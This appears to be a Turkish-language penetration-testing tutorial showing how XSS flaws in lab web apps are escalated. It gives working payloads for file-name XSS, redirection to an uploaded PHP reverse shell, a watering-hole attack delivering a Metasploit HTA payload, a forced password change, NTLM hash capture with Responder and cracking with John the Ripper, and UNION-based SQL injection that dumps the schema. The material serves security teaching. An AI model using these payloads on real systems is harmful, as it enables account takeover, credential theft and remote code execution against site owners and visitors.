Temel anlamda XSS zafiyeti anlaşıldıktan sonra XSS güvenlik zafiyeti kullanılarak nelerin yapılabileceği ve saldırganların olası saldırı durumunda hedef sistem üzerinde neler yapabileceği aşağıda anlatılmaktadır.
File Upload ile XSS
Kullanıcıların bir web sitesi üzerinden; fotoğraf, dosya veya bunlara benzer nesneleri web sitesine yüklemeleri istenebilmektedir. Bu işlem için dosya yükleme nesneleri kullanılır ve kullanıcıların bu nesneler aracılığıyla sisteme dosya yüklemeleri sağlanır. Resim 5.1.1’de dosya yükleme nesnesi içeren bir web sayfası bulunmaktadır.
Bu nesne ile seçilen bir dosyanın adı “Submit Query” butonuna tıklandıktan sonra ekrana yansıtılacaktır. Sisteme yüklenmek üzere seçilecek olan bir dosya adının JavaScript kodu yapılması durumunda, seçilen dosya adı için bir kontrol yapılmıyorsa, bu durumda XSS zafiyeti tetiklenebilir.
Yüklenecek olan dosya adı aşağıdaki JavaScript koduyla değiştirildi.
“><img src=x onerror=prompt(1)>
Adı değiştirilen dosya sisteme yüklenmek üzere seçildi. Resim 5.1.3 ‘te dosyanın seçilmiş olduğu görsel yer almaktadır.
Butona tıklanarak istek yapıldı ve dosya adı sayfaya yansıdı. Resim 5.1.3’te dosya adının sayfaya yansıması sonucunda tetiklenen XSS zafiyetine dair bir görsel yer almaktadır.
XSS ile Reverse Shell
XSS zafiyetinden, sadece bir pop-up oluşturmak ya da diğer uygulamalara yönlendirme yapmak dışında, hedef sistem üzerinden reverse shell (ters bağlantı) elde etmek üzere yararlanılabilir. Reverse shell bağlantısı elde etmek için bir PHP kodu kullanılabilir. Resim 5.2.1’ de $ip değişkeni ile belirtilen saldırgan cihazın $port ile belirtilen portuna reverse shell bağlantısı gönderen bir PHP kodu yer almaktadır.
Resim 5.2.2’de PHP dosyasının sisteme yüklenmek üzere seçildiği görsel yer almaktadır.
Bu dosyayı çalıştırmak için XSS zafiyetinden yararlanabilir. Sisteme yüklenen resimlerin gösterilmesini sağlayan “image” parametresi kullanılarak bu parametre ile XSS zafiyeti tetiklenebilir ve XSS payload’ına göre sisteme yüklenen PHP dosyasına istek yapılabilir. “image” parametresine atanmak üzere aşağıdaki gibi bir payload kullanılarak PHP dosyasına istek yapılabilir.
<script>window.location ='http://192.200.10.101/file_upload/images/ReverseXSS.php'</script>
PHP dosyasına istek yapılması durumunda saldırgan makineye reverse shell bağlantısı gelecektir. Ancak bağlantının gelmesi için saldırgan makinede, PHP dosyasında belirtilen port üzerinden dinleme işlemi başlatılmalıdır. Resim 5.2.4’te netcat komutu kullanılarak 1234 portu üzerinden dinleme işlemi başlatıldı ve XSS zafiyeti kullanılarak PHP dosyasına yapılan istek sonucunda hedef sistemde komut çalıştırmak üzere reverse shell bağlantısı elde edildi.
XSS ile RCE
Bir önceki bölümde XSS ile web sunucusu üzerinden reverse shell bağlantısı elde edilmesi ile ilgili işlem yapıldı. Bu bölümde ise hedef web sitesini ziyaret eden kullanıcı sistemlerinden shell bağlantısı alma ile ilgili bir saldırı senaryosu incelenecektir. Bu saldırı yöntemine “Watering Hole” adı verilir.
Bu saldırıyı gerçekleştirebilmek için hedef kullanıcının zararlı bir .hta uzantılı HTML uygulama dosyası indirmesi amaçlanmaktadır. Bunun için Metasploit Framework tarafından sunulan hta_server adlı modül çalıştırılır ve bir HTML uygulaması oluşturulur. Resim 5.3.2’de hta_server modülü kullanılarak oluşturulan ve saldırgan makine üzerinden yayınlanan HTML uygulama dosyasına dair bir görsel yer almaktadır.
Bu işlem tamamlandıktan sonra Stored XSS bulunan bir web sayfasına aşağıdaki JavaScript kodu yerleştirilir.
<script>window.location= ‘http://192.200.10.129:8080/41grMjoOm.hta’ </script>
Herhangi bir kullanıcı bu web sayfasını ziyaret ettiğinde, tarayıcı kullanıcı makinesine otomatik olarak zararlı HTML uygulama dosyasını indirecektir. Resim 5.3.4’de JavaScript kodu ile yapılan yorumdan sonra sayfayı ziyaret eden herhangi bir kullanıcının karşılaşacağı görüntü yer almaktadır.
İndirilen dosyanın herhangi bir kullanıcı tarafından çalıştırılması durumunda, Metasploit Framework üzerinden meterpreter oturumu elde edilecektir. Resim 5.3.5’te indirilen dosyanın bir makinede çalıştırılması sonucunda elde edilen meterpreter oturumu yer almaktadır.
XSS ile Kullanıcı Hesaplarının Manipüle Edilmesi
Hedef web sitesi üzerinde var olan XSS zafiyeti kullanılarak kullanıcı bilgilerinin ele geçirilmesi veya değiştirilmesi mümkündür.
Resim 5.4.1’de yer alan sayfada alınan bilgiler ile kullanıcı parolası, parola değiştirme işlemi sırasında pass1 ve pass2 parametreleri kullanılarak değiştirilebilmektedir. Bu parametrelere farklı bir parola değeri atanarak, parametreleri içeren URL adresine kullanıcılar tarafından istek yaptırılması durumunda, istek yapan her bir kullanıcının parolası değişecektir. Bunun için Stored XSS zafiyeti içeren bir web sitesine bu zafiyetten yararlanılarak, parola değiştirme işlemi yapan URL adresini içeren bir payload yerleştirilmesi durumunda, bir kullanıcı sayfaya istek yaptığında parolası değişecektir.
Aşağıda “img” etiketinin src parametresine atanmış olan parola değiştirme adresi yer almaktadır.
<img src= “http://192.200.10.101/Change/ ?pass1=priviahub&pass2=priviahub&Change=Change”>
Bu kodun Stored XSS zafiyetinden yararlanılarak siteye yerleştirilmesi durumunda, oturum açmış olan ve sayfaya istek yapan tüm kullanıcıların parolası “priviahub” olarak değişecektir.
Resim 5.4.2’de yukarıda verilen kod kullanılarak sayfaya yapılan istek yer almaktadır.
İstek yapıldı ve kod veritabanına kaydedilerek sayfadaki yerini aldı.
XSS ile NTLM Hash Değerinin Yakalanması
Bir web sitesi üzerinde bulunan XSS zafiyetinin genellikle sayfa üzerinde bir pop-up çıkarmak amacıyla kullanıldığı düşünülür. Ancak XSS zafiyeti, bazı durumlarda oldukça kritik bilgilerin elde edilmesine sebep olabilmektedir. XSS zafiyeti kullanılarak hedef web sitesi üzerinden kullanıcıların parolalarına ait NTLM hash değerleri veya parola bilgisinin bulunması mümkündür.
Bir kullanıcının parolasına ait NTLM hash değerini elde etmek için Responder aracı kullanılarak dinleme işlemi başlatılabilir. eth0 arabirimi kullanılarak dinleme işlemi başlatmak için aşağıdaki komut kullanılabilir.
responder -I eth0
XSS zafiyetinin bulunduğu web sitesine, sayfada kod çalıştıran bir payload enjekte edilebileceği gibi, zararlı kodlar içeren ve farklı bir web sunucusu üzerinde çalışan bir web sayfası “iframe” etiketi kullanılarak sayfaya enjekte edilebilir.
Aşağıdaki kod kullanılarak scriptlet.html adlı sayfa, XSS zafiyeti içeren web sayfasına yerleştirilebilir.
<iframe src=“http://192.200.10.129/scriptlet.html”>
Stored XSS zafiyeti içeren web sayfasına yukarıda verilen kod kullanılarak istek yapıldı.
Verilen kod Stored XSS zafiyeti içeren web sayfasına enjekte edildi. Web sayfası yenilendiğinde kullanıcı adı ve parola girişi isteyen bir pencereyle karşılaşıldı.
Kullanıcı bilgileri girildikten sonra kullanıcı adı ve parolanın NTLM hash değeri responder aracı üzerinden saldırgan makineye gelir. Resim 5.5.4’te Responder ile elde edilen bilgiler yer almaktadır.
Responder aracı ile elde edilen bilgiler /usr/share/responder/logs dizininde yer almaktadır.
cd /usr/share/responder/logs
Resim 5.5.5’te /usr/share/responder/logs dizininde bulunan dosyaların listesi yer almaktadır.
Bu dosya kullanılarak, bir kelime listesiyle birlikte NTLM hash değerine yönelik parola kırma saldırısı yapılarak, kullanıcı parolası elde edilebilir.
Resim 5.5.6’da örnek bir parola listesi yer almaktadır.
pass.txt dosyası oluşturulduktan sonra John The Ripper aracı kullanılarak parola bilgisi elde edilmeye çalışılır. Kullanılacak komut aşağıda yer almaktadır.
john –wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt
Kelime listesi kullanılarak parola kırma saldırısı yapıldı ve kullanıcı parolası elde edildi. Resim 5.5.7’de John The Ripper aracının sonuçları yer almaktadır.
XSS Üzerinden SQL Injection Zafiyetinin Tetiklenmesi
XSS saldırıları, SQL Injection zafiyeti tespit edilen sayfalar üzerinden gerçekleştirilebilir. Bir web uygulaması üzerinde SQL Injection zafiyeti keşfeden saldırgan, örnek olarak tüm veritabanı kayıtlarını uyarı penceresinde gösteren bir saldırı gerçekleştirebilir. Resim 5.6.1’de SQL Injection zafiyeti içeren bir arama sayfası yer almaktadır.
Arama kutusuna “ ’ ” karakteri yazıldı ve arama yapıldı. Yapılan arama işlemi sonucunda SQL hatası ile karşılaşıldı.
Özel SELECT sorgulamaları gerçekleştirmek için UNION operatörü kullanıldı ve bilgilerin alındığı tablonun 7 sütundan oluştuğu tespit edildi. Aşağıda UNION operatörü kullanılarak yapılan sorgu yer almaktadır.
P%’ UNION SELECT 1,2,3,4,5,6,7– –
Resim 5.6.3’te UNION operatörü kullanılarak gerçekleştirilen sorgu sonucu yer almaktadır.
Sorgulama işlemi sonucunda UNION parametresinden sonra gelen SELECT sorgusundan elde edilen veriler, tablonun en alt satırına yerleşti. SELECT sorgusunda yer alan rakamlar tabloya yerleşti. Bu rakamlardan herhangi biri yerine bir JavaScript kodu yazılması durumunda, sorgunun çalıştırılmasıyla birlikte JavaScript kodu çalışacaktır. Ancak JavaScript kodu normal bir şekilde eklenemez. Bunun yerine JavaScript kodu heksadesimal formata dönüştürülerek sorguya dahil edilebilir.
Aşağıda JavaScript kodu ve bu kodun heksadesimal hali yer almaktadır.
<script>alert(1)</script> 0x3c7363726970743e616c6572742831293c2f7363726970743e
Heksadesimal kod sorguya dahil edildi ve çalıştırıldı. Aşağıda heksadesimal kodun yer aldığı istek verisi yer almaktadır.
P%' UNION SELECT 1,2,3,4,5,0x3c7363726970743e616c6572742831293c2f7363726970743e,7-- -
Resim 5.6.4’te yapılan istek sonrası alınan sonuç yer almaktadır.
Yapılan istek sonucunda sorguya dahil edilen JavaScript kodu çalıştı ve sayfaya uyarı mesajı yansıdı.
SQL sorgusu CONCAT operatörü kullanılarak genişletilebilir. JavaScript kodu parçalanarak arasına farklı bir SQL sorgusu yerleştirilebilir ve CONCAT operatörü kullanılarak kod parçaları birleştirilebilir.
Aşağıda JavaScript kodu içeren ve CONCAT operatörü kullanılarak birleştirilen SQL Injection payload’ı yer almaktadır.
P%' union select 1,concat(0x3c7363726970743e616c6572742822507269766961487562, 0x5c6e,(concat(@x:=0x00,(SELECT count(*)from information_schema.columns where table_schema=database() and @x:=concat(@x,0x5c6e, database(),0x20207c2020,table_name,0x20207c2020,column_name)),@x)), 0x22293c2f7363726970743e),3,4,5,6,7-- -
Resim 5.6.5’te payload çalıştırıldıktan sonra elde edilen sonuca ait görsel yer almaktadır.
Veritabanı adı, tablolar ve tablolara ait kolon adları XSS zafiyeti kullanılarak uyarı penceresinde listelendi.